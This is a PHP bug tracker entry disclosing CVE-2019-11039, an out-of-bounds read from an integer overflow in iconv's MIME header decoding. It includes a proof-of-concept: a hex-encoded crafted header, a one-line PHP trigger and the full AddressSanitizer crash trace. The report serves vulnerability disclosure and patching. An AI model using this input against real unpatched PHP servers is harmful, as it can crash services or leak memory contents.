| 
        php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
 Patchesiconv_patch.diff (last revision 2019-05-26 14:36 UTC by maris dot adam at gmail dot com)Pull RequestsHistoryAllCommentsChangesGit/SVN commits             
             [2019-05-26 21:42 UTC] cmb@php.net
 
-Status:      Open
+Status:      Verified
-Assigned To:
+Assigned To: stas
  [2019-05-26 21:42 UTC] cmb@php.net
  [2019-05-27 23:16 UTC] stas@php.net
 
-CVE-ID:
+CVE-ID: 2019-11039
  [2019-05-27 23:48 UTC] stas@php.net
 
-PHP Version: 7.3.5
+PHP Version: 7.1.29
  [2019-05-27 23:49 UTC] stas@php.net
  [2019-05-27 23:49 UTC] stas@php.net
 
-Status: Verified
+Status: Closed
  [2019-05-27 23:49 UTC] stas@php.net
  [2019-05-28 07:07 UTC] cmb@php.net
  | 
    |||||||||||||||||||||||||||
            
                 
                Copyright © 2001-2025 The PHP GroupAll rights reserved.  | 
        Last updated: Tue Nov 04 03:00:01 2025 UTC | 
Description: ------------ In _php_iconv_mime_decode() function in iconv.c, there's an out-of-bounds read due to an integer overflow vulnerability. MIME encoded string is being parsed and decoded in for loop with following condition: for (str_left = str_nbytes; str_left > 0; str_left--, p1++) { Inside this for loop, it's possible for str_left to be decreased and p1 to be increased at the same time when scan_stat is equal to 2 (i.e. case 2 branch of the switch) and the given character set is unrecognized and ICONV_MIME_DECODE_CONTINUE_ON_ERROR is specified, so it continues to parse the message. It will then try to skip the encoded word by searching for the other two '?' characters while increasing p1 and decreasing str_left: int qmarks = 2; while (qmarks > 0 && str_left > 1) { if (*(++p1) == '?') { --qmarks; } --str_left; } If the while condition is stopped, it will proceed to the next condition that checks if the next character is '=' and if it is, p1 is increased again and str_left is decreased: if (*(p1 + 1) == '=') { ++p1; --str_left; } However, if the previous while loop was stopped due to str_left being equal to 1, it is now decreased to 0. The encoded string is copied to 'pretval' variable and if it doesn't error out, it will properly set scan_stat and break: scan_stat = 12; break; The for loop is being run from start again, but before checking the condition 'str_left > 0', it is first decreased. Since it was already equal to 0 and it is defined as size_t (i.e. unsigned integer), it will overflow to very huge positive number. At this point, the code will continue to read from p1 out of bounds and copy it to 'pretval'. The exact behaviour depends on the content of the memory after 'str' buffer. Possible impact is crash of the application or even information leak, depending on the further usage of the decoded header since it contains the data from memory outside of allocated string. This issue affects all current stable releases, namely PHP-7.1.29, PHP-7.2.18, and PHP-7.3.5. Tested on Fedora 28, PHP code was compiled with ASAN. It is possible to observe the bug also with valgrind without the necessity of compilig php with ASAN. Test script: --------------- $ echo "53754c743b2020304a70616100000d0d0d0d0d0d0d0d0d6563743a203d3f69730d0d0d0d0d0d0d0d0d0d0d0d0d0d0d6563743a203d3f6973754c743b2020304a70616100000d0d0d0d0d0d0d0d0d6563743a203d3f6f2d383835392d313f713f3c334633463d33463f3da2" | xxd -r -p - > poc $ sha256sum poc c471fb3e1511897d3fda9095e0eb85c934532a207f30ac99f0e7d58c42916e4b poc $ USE_ZEND_ALLOC=0 sapi/cli/php -r '$hdr = iconv_mime_decode_headers(file_get_contents("poc"),2);' Expected result: ---------------- No out-of-bounds read, i.e. the message is properly parsed. The attached proposed patch will not decrease 'str_left' if it's not greater then 1. While it will increase p1 since it's needed for copying the content into 'pretval', it will then break out of switch, decrease automatically and for loop will not continue since 'str_left' is equal to 0. Actual result: -------------- $ USE_ZEND_ALLOC=0 sapi/cli/php -r '$hdr = iconv_mime_decode_headers(file_get_contents("poc"),2);' ================================================================= ==26444==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000005a8 at pc 0x000000a2ee39 bp 0x7ffcc313a470 sp 0x7ffcc313a460 READ of size 1 at 0x60d0000005a8 thread T0 #0 0xa2ee38 in _php_iconv_mime_decode /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:1965 #1 0xa332c6 in zif_iconv_mime_decode_headers /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:2409 #2 0x159adb7 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:690 #3 0x159adb7 in execute_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:55465 #4 0x15dc2cc in zend_execute /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:60881 #5 0x1134723 in zend_eval_stringl /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1018 #6 0x1134ec9 in zend_eval_stringl_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1059 #7 0x1134f7a in zend_eval_string_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1070 #8 0x15e4c80 in do_cli /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1028 #9 0x15e7191 in main /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1389 #10 0x7f66b910311a in __libc_start_main (/lib64/libc.so.6+0x2311a) #11 0x427619 in _start (/home/neural.x/Projects/php-7.3.5/sapi/cli/php+0x427619) 0x60d0000005a8 is located 0 bytes to the right of 136-byte region [0x60d000000520,0x60d0000005a8) allocated by thread T0 here: #0 0x7f66ba937448 in __interceptor_realloc (/lib64/libasan.so.5+0xef448) #1 0x10ccc66 in __zend_realloc /home/neural.x/Projects/php-7.3.5/Zend/zend_alloc.c:2922 #2 0x10c6ca9 in _erealloc /home/neural.x/Projects/php-7.3.5/Zend/zend_alloc.c:2525 #3 0x102ba2b in zend_string_truncate /home/neural.x/Projects/php-7.3.5/Zend/zend_string.h:225 #4 0x102ba2b in _php_stream_copy_to_mem /home/neural.x/Projects/php-7.3.5/main/streams/streams.c:1451 #5 0xd96688 in zif_file_get_contents /home/neural.x/Projects/php-7.3.5/ext/standard/file.c:569 #6 0xae0c58 in phar_file_get_contents /home/neural.x/Projects/php-7.3.5/ext/phar/func_interceptors.c:222 #7 0x159adb7 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:690 #8 0x159adb7 in execute_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:55465 #9 0x15dc2cc in zend_execute /home/neural.x/Projects/php-7.3.5/Zend/zend_vm_execute.h:60881 #10 0x1134723 in zend_eval_stringl /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1018 #11 0x1134ec9 in zend_eval_stringl_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1059 #12 0x1134f7a in zend_eval_string_ex /home/neural.x/Projects/php-7.3.5/Zend/zend_execute_API.c:1070 #13 0x15e4c80 in do_cli /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1028 #14 0x15e7191 in main /home/neural.x/Projects/php-7.3.5/sapi/cli/php_cli.c:1389 #15 0x7f66b910311a in __libc_start_main (/lib64/libc.so.6+0x2311a) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/neural.x/Projects/php-7.3.5/ext/iconv/iconv.c:1965 in _php_iconv_mime_decode Shadow bytes around the buggy address: 0x0c1a7fff8060: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c1a7fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1a7fff8080: 00 fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00 0x0c1a7fff8090: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c1a7fff80a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c1a7fff80b0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa 0x0c1a7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1a7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1a7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1a7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1a7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==26444==ABORTING